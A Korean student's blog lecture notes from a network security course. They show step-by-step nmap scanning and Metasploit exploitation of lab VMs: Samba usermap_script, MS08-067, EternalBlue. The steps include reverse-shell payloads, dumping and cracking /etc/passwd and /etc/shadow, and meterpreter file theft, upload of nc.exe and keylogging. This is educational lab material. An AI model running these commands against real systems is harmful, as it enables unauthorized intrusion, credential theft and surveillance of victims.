정보보안 전문가를 꿈꾸며 작성하는 블로그입니다.

SK 쉴더스 루키즈

[SK 쉴더스] 네트워크 보안 5일차 -- 추가예정

minjoo 2022. 9. 26. 17:00

1.1 취약점 분석 및 진단

1단계) 포트 스캐닝

- 열린포트를 확인 : 어떤 서비스가 실행중인지 파악(관리자가 실행하지 않은 서비스가 실행중일 경우 위험)

- 오래되어서 취약한 서비스 확인 : 버전 확인

- 종류 : IP 스캔, TCP 스캔(Open), SYN 스캔(Half-Open), UDP 스캔, X-mas/FIN/Null, OS, Version, All Scan 등

 

2단계) 취약점 조사

- 구글

- 취약점 제보 사이트 : http://www.exploit-db.com

- 취약점 전문 업체들  ex. Rapid7 : Metasploit 판매

- 취약점 공식 웹사이트 : http://cve.mitre.org 

 

3단계) 스크립트를 활용한 상세스캐닝

- Kali Linux의 nmap 스크립트 활용

$cd /usr/share/nmap/scripts

$sudo find . -name "*취약점*"      → 어떤 스크립트를 사용할 것인지 find

$sudo nmap --script=[스크립트 이름] [target host] -p [포트번호]

→ vulnerable (진짜 취약함)

 

4단계) Metasploit을 이용해 exploit을 해보는 단계

$sudo msfconsole

msf6> search [취약점]

msf6> use [공격모듈]                   → 공격 모듈 장착

msf6> info                                    → 장착한 모듈에 대한 설명

msf6> set rhosts [타겟호스트]

msf6> set lhost [공격 호스트]       → Reverse Connection(트로이목마) 등을 사용하는 페이로드인 경우

msf6> set payload [페이로드]      → 페이로드 설정(어떤 방식으로 공격할지 설정)

msf6> show options                     → 지금까지 설정한 내용이 올바른지 확인

msf6> exploit                                → 공격 시작

 

1.2 실습 준비

- Kali Linux, Metasploitable2 실행

 

* Payload 선택시 참고

- 공격 모듈에 기본 장착되어있으면 별도로 설정 X

- Rapid7에서 Perl Script를 Ruby로 재구조화 → Ruby 스크립트가 더 잘 동작

- cmd/unix/generic을 선택하면 무난하게 동작

 

1.3 실습 - 6667 포트의 취약점 진단, exploit

$sudo nmap -A 192.168.5.131 -T4

- 6667포트 : irc - 채팅 프로그램(취약한 버전)

- 스크립트 실행(3단계)

→ 트로이목마를 사용 → 공격호스트 설정, reverse 페이로드 설정

- reverse 페이로드 설정

- lhost(공격호스트) 설정

- show options로 확인 후 exploit

* Backdoor : Attacker가 Victim에 접속  → 페이로드 중 bind가 들어간 것 사용

  Trojan horse : Victim이 Attacker에 접속 (Reverse Connection)  → 페이로드 중 reverser가 들어간 것 사용

 

1.4 실습 - Samba 취약점 찾기

- SMB(Server Message Block)는 Windows에서 Windows간에 파일 및 폴더를 공유하는 프로토콜

- SMB를 Linux에서도 활용하기 위해 만든 것 : SaMBa

- Windows 계정을 Linux 계정과 일치시켜 권한을 부여하면 파일을 리눅스에 백업, 복사 가능(부서 공유 서버로 활용)

 

1단계) 스캐닝

$sudo nmap -A 192.168.5.131

- 445포트에서 SAMBA 버전 3.0.20 사용

 

2단계) 검색

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution

공식취약점 번호 : CVE-2007 -2447

 

3단계) 상세스캐닝

→ 해당 스크립트는 없음을 확인 (3단계가 없으므로 4단계 실행)

 

4단계) Exploit

msf6> search samba   // 25개 나옴

msf6> search cve-2007-2447   //cve 코드를 이용하면 정확하게 확인 가능

msf6> use exploit/multi/samba/usermap_script  

msf6> info  //스크립트 설명

msf6> set rhosts 192.168.5.131  // rhost 설정

msf6> set lhost 192.168.5.129  // lhost 설정

msf6> show payloads  //default payload : cmd/unix/reverse_netcat → 페이로드 따로 설정해줄 필요 X

msf6> exploit

 

*공격 성공후에 모든 계정 크래킹

cat /etc/passwd

root~마지막 blackpink-sh 까지 블럭설정(드래그) - copy selection

새 탭을 열고 (file-new tab) sudo vi passwd - paste Clipboard - :wq

cat /etc/shadow

root부터 마지막 blackpink-:::까지 블럭설정 - copy selection

새 탭에서 sudo vi shadow - paste clipboard - :wq

→ 파일을 가져오기 어렵기 때문에 Meta2의 passwd와 shadow를 읽어들여서 kali에 새파일로 저장

$sudo unshadow passwd shadow > meta2.pass

$sudo john meta2.pass  // 패스워드를 찾아줌

→ 스페이스바 누르면 진행상태 출력

 

* John the Ripper

- 패스워드 트래킹 도구

- 리눅스 : passwd와 shadow를 가지고있으면 패스워드를 크래킹해줌

- Window : sam 파일이 있으면 패스워드를 크래킹해줌(sam 파일은 windows 실행중에는 복사/삭제/열기 불가) 

 

1.5 실습 - Windows 2003의 취약점을 찾아서 Exploit

1단계) 스캐닝

$sudo nmap -A 192.168.5.141

→ SMB 취약점 확인

3단계) 상세 스캔

$sudo nmap --script=smb-vuln-*.nse 192.168.5.141  // SMB취약점 스크립트 한번에 실행

$sudo nmap --script=smb-vuln-ms08-967.nse 192.168.5.141

→ 취약함을 확인

4단계) Exploit

msf6> search ms08-067 

msf6> use exploit/windows/smb/ms08_067_netapi  // 모듈 장착

msf6> info  // 장착된 모듈 정보 확인

→ 445번 포트를 대상으로 공격

msf6> set rhosts 192.168.5.141

msf6> set payload windows/shell/bind_tcp

msf6> set lhost 192.168.5.129

msf6> exploit

* 에러코드에 Rex가 나올경우 2003 가상머신 재부팅

 

* 악성코드 Stuxnet에서 사용한 취약점

- 4개의 zeroday Exploit과 2개의 Oneday Exploit을 이용해서 윈도우를 통해 전파

- 이란에 있는 우라늄 농축시설을 운영하는 Siemens사의 PLC의 동작을 교란시키는 악성코드

- PLC는 프로그램된 로직 컨트롤러를 이용해 동작

 

1.6 Windows 7에 있는 취약점

준비)

- Windows 7 가상머신 설치

- john/윈도12#$

1단계) 스캐닝

$sudo nmap -sn 192.168.5.129-140

$ping 192.168.5.132

→ ttl = 128 이면 윈도우

$sudo nmap -A 192.168.5.132

→ SMB1과 SMB2가 같이 사용되고 있음 (SMB1의 취약점을 가짐)

3단계) 스크립트를 이용한 스캐닝

$sudo nmap --script=smb-vuln-* 192.168.5.132   //SMB 취약점 모두 검색

→ MS17-010 취약점이 있음 → MS17-010을 이용한 랜섬웨어의 이름 : WannaCry

4단계) Exploit

msf6> search ms17-010

msf6> use exploit/windows/smb/ms17_010_eternalblue

msf6> set target 1

msf6> set rhosts 192.168.5.132

msf6> set lhost 192.168.5.129

msf6> set payload windows/x64/vncinject/reverse_tcp  

msf6> set viewonly false  // false : 원격조종 할 것, true : 보기만 할 것

msf6> exploit  

192.168.5.132

→ VNC 창이 열리고 원격 조종 가능(처음엔 영어만 입력 가능하지만 Victim 쪽에서 한글 입력시 Attacker에서도 한글 입력 가능)

 

*취약점은 패치를 설치하면 해결됨 : 패치번호는 KB4013389 or Later(이후에 나온 패치에 포함된 경우도 있음)

*Windows

- windows7 이전 버전 : 자동 업데이트x → 수동으로 업데이트 해야함

- windows10 이후 버전 : 자동 업데이트 o → 취약점 바로 사라짐

 

1.7 Windows 7에 있는 취약점 - payload 변경

msf6> set payload windows/x64/meterpreter/reverse_tcp

msf6> exploit

 

1) 화면 캡쳐

meterpreter> screenshot  // 파일이 저장됨 → /home/john 파일에 캡쳐한 사진

2) 디렉토리 만들기

meterpreter> mkdir C:/game

3) 파일 업로드하기

meterpreter> upload /usr/share/windows-binaries/nc.exe C:/game 

4) 파일 다운로드 하기

meterpreter> download C:/users/john/documents/*.* /home/kali  

*meterpreter : 리눅스 명령과 유사한 명령으로 윈도우 원격조종 가능
5) 키로깅(키 입력값 알아내기)

meterpreter> ps  //윈도우의 프로세스 목록 확인

(Explorer.exe 프로세스의 맨 앞 번호 기억 : PID 1928)

(meterpreter 프로세스가 Explorer.exe 아래로 들어갈 예정)

meterpreter> migrate 1928

meterpreter> keyscan_start    //키스캔 시작

meterpreter> keyscan_dump  //키스캔 출력

meterpreter> keyscan_stop    //키스캔 중단

meterpreter> exit                     //meterpreter 종료